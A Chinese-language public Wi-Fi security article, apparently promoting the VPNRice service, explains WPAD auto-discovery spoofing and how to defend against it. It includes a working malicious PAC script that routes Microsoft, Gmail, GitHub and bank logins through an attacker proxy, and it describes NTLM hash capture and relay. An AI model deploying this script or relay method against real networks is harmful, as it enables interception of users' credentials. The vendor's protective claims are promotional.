在繁忙的火车站候车室咖啡厅，你打开笔记本电脑连接公共 Wi-Fi，随后启动浏览器查收工作邮件。地址栏中显示出清晰的锁形图标，表明当前正处于 HTTPS 加密会话之中。系统没有弹出任何证书异常警报，你也没有安装任何来历不明的描述文件或点击警告提示。表面上一切井然有序。然而，在没有任何屏幕提示的情况下，操作系统已经悄悄从局域网内另一台未知计算机上下载了一份 JavaScript 配置文件，并将该计算机指定为你所有网页访问的中心代理服务器，使你的敏感登录凭据与身份令牌直接流经攻击者的监控网关。

这种隐蔽的攻击方式既不需要利用零日漏洞，也不需要暴力破解密码。它所利用的，是一项诞生于 20 世纪 90 年代末、至今仍在数以亿计的计算机中默认启用的过时网络协议：网络代理自动发现协议（Web Proxy Auto-Discovery，简称 WPAD）。

架构起源：追求便捷而牺牲安全边界

要理解 WPAD 为何在现代网络环境中带来严重安全隐患，必须回顾其诞生的历史背景。在 90 年代末企业网络迅速普及的时期，系统管理员迫切需要一种自动化方案，让员工的计算机在接入企业局域网后，能够自动将网页流量指向内部的缓存与过滤代理，而无需 IT 团队逐台手动配置。

1999 年提交给 IETF 的草案设计了一套几乎完全在后台静默运行的机制。每当操作系统连接到新的网络接口时，网络协议栈都会主动发起一系列探测查询，以寻找核心问题的答案：“当前网络的自动代理配置文件（PAC 文件）存放在何处？”

[ 用户笔记本电脑 ]
       |
       | 1. 发送 DHCP Inform (Option 252) -> 询问 "wpad.dat 在哪里？"
       +---------------------------------------------> [ 本地局域网网关 ]
       |                                                    (无响应)
       | 2. DNS 域名查询: wpad.local / wpad.cafe.internal
       +---------------------------------------------> [ 本地 DNS 解析器 ]
       |                                                    (返回 NXDOMAIN 不存在)
       | 3. 本地多播广播: LLMNR / NetBIOS 广播询问 "WPAD"
       +---------------------------------------------> [ 整个 Wi-Fi 局域网 ]
                                                             |
                                                             v
                                               [ 局域网内的攻击者设备 ]
                                               (立即回应: "我就是 WPAD！请下载 PAC 文件！")

该协议的关键隐患在于其级联回退机制。如果主网关没有提供代理配置，客户端设备并不会终止查找，而是层层扩大搜索范围，最终从定向单播转变为无验证的本地广播呼叫。

发现回退级联：向局域网攻击者敞开大门

当 Windows 或主流桌面浏览器尝试检测网络代理时，会严格执行以下三级查询序列：

1. DHCP Option 252 选项

连入网络后，客户端首先发出 DHCPINFORM 数据包，询问本地 DHCP 服务器是否配置了 Option 252。如果配置了该选项，服务器会返回 PAC 文件的直接下载地址（如 http://192.168.1.1/wpad.dat）。然而，公共场所的大多数家用级路由器从未配置此选项，因此第一级查询通常无功而返。

2. 分层 DNS 域名解析

当 DHCP Option 252 无法获取配置时，操作系统会尝试将主机名 wpad 与当前网络的搜索后缀拼接。例如若当前网络的内部域名为 corp.local，系统会查询 wpad.corp.local；若未找到，再向上回退至 wpad.local。在配置不规范或分配了异常搜索后缀的公共热点中，这种机制甚至可能将查询泄漏到公网顶级域名（例如 wpad.com），引发 CERT/CC 专门警示的高危域名碰撞风险。

3. 本地链路多播名称解析（LLMNR）与 NetBIOS 广播

如果 DNS 解析返回域名不存在（NXDOMAIN），系统将启用最脆弱的最后一道防线：本地广播。操作系统向当前 Wi-Fi 子网的所有设备发送广播 UDP 查询，大声询问：“局域网内有人知道 WPAD 的 IP 地址吗？”

在共享的公共 Wi-Fi 网络中，部署了 Responder 或 Inveigh 等自动化探测工具的攻击者正时刻监听这些广播频段。一旦侦测到你的设备发出 wpad 询问，攻击者设备会以毫秒级速度伪造响应：“我就是 wpad。请从 192.168.1.145/wpad.dat 下载你的配置文件。”

毫无防备的受害设备接纳这一伪造答复，连接到攻击者的 Web 服务下载 wpad.dat，并在操作系统层面瞬间生效代理规则。

恶意 PAC 脚本剖析：精准截取关键流量

PAC 文件并非简单的 IP 静态列表，而是一段包含强制入口函数 FindProxyForURL(url, host) 的 JavaScript 代码。

当系统在发起任何 Web 连接前调用该函数时，脚本会根据目标 URL 动态决定路由方向。攻击者通常会精细编排路由逻辑：

function FindProxyForURL(url, host) {
    // 本地及常规请求直接直连，避免引起用户警觉
    if (isPlainHostName(host) || dnsDomainIs(host, ".local")) {
        return "DIRECT";
    }

    // 精准拦截企业登录入口、邮箱及金融认证端点
    if (dnsDomainIs(host, "login.microsoftonline.com") ||
        dnsDomainIs(host, "mail.google.com") ||
        dnsDomainIs(host, "github.com") ||
        shExpMatch(host, "*bank*")) {
        return "PROXY 192.168.1.145:8080; DIRECT";
    }

    // 其余普通浏览保持直接放行
    return "DIRECT";
}

通过仅将高价值敏感域名导向恶意代理，其余视频流媒体与资讯浏览仍然直连互联网络，攻击者确保了网络流畅度不受影响，用户几乎无法从网络延迟中察觉异常。

攻击者能够获取什么

一旦流量被引导至不受信任的代理节点：

  • 明文 HTTP 流量： 彻底暴露，用户输入的密码、令牌及请求路径一览无余。
  • HTTPS 加密连接： 虽然 TLS 保护了正文内容，但代理首先需要处理 HTTP CONNECT 握手请求。这直接揭示了访问的目标域名（SNI）、端口、发生时间与传输时长。
  • 凭据降级与 NTLM 中继： Windows 后台服务在通过代理通信时，往往会自动触发 NTLM 或 Kerberos 认证。恶意代理可回传 Proxy-Authenticate: NTLM 标头，诱导受害机器发送系统凭据散列值，供攻击者进行离线破解或在企业域内实施凭据中继攻击。

综合防护方案：拆除静默代理陷阱

防范 WPAD 攻击，需要结合操作系统层面的设置加固与加密隧道防护：

1. 关闭操作系统中的自动检测代理设置

除非你在明确要求通过内部 WPAD 分配代理的企业网络中工作，否则应彻底停用自动检测功能：

  • Windows 11 / 10： 打开设置，进入网络和 Internet > 代理。在自动设置代理区域，将自动检测设置开关切换为关。
  • macOS： 打开系统设置，进入网络，选择当前 Wi-Fi，点击详细信息 > 代理，确保未勾选自动发现代理与自动代理配置。
  • 浏览器设置： 在 Firefox 中进入设置 > 常规 > 网络设置，选择不使用代理服务器或直接遵循系统加固后的设置。

2. 停用 LLMNR 与 NetBIOS 名称解析广播

阻断操作系统向本地子网发起多播广播，可彻底消除攻击者伪造响应的机会：

  • 在 Windows 中运行本地组策略编辑器（gpedit.msc）。
  • 依次展开计算机配置 > 管理模板 > 网络 > DNS 客户端。
  • 双击关闭多播名称解析策略，并将其设置为已启用。

3. 使用 VPNRice 实施全局流量封装

尽管手动调整系统选项能起到重要加固作用，但某些独立应用程序和后台同步服务仍可能忽略系统级开关发起独立的探测请求。在不可信网络中，最具决定性的防护策略是将全部出站流量收容在 VPNRice 的加密隧道之中。

通过 VPNRice 结合 RiceGuard 或 RiceGuardX 协议建立连接，可在本地建立坚固的防御屏障：

  • 隔绝本地网关干扰： 全部网络数据包在离开无线网卡前已完成高强度加密。局域网内的假冒 DHCP 服务器与嗅探节点无法注入伪造的 WPAD 响应，也无法观测传输路径。
  • 专用加密 DNS 解析： 域名解析请求直接经由安全隧道发往 VPNRice 专属私有解析集群，彻底避开本地 LLMNR、NetBIOS 广播及本地 DNS 投毒攻击。
  • 严格的网络端点隔离： 客户端防火墙阻断同子网内其他恶意节点的非法探测，防止流量被引导至中间人拦截代理。

为确认你的设备在网络环境中没有通过浏览器接口泄露内部路由或本地地址，建议使用 VPNRice WebRTC 泄漏测试 评估系统状态，并通过 IP 地址查询工具 校验公共路由出口。停用陈旧的自动探测协议，辅以可靠的 VPN 加密管道，是确保公共 Wi-Fi 使用安全的关键基石。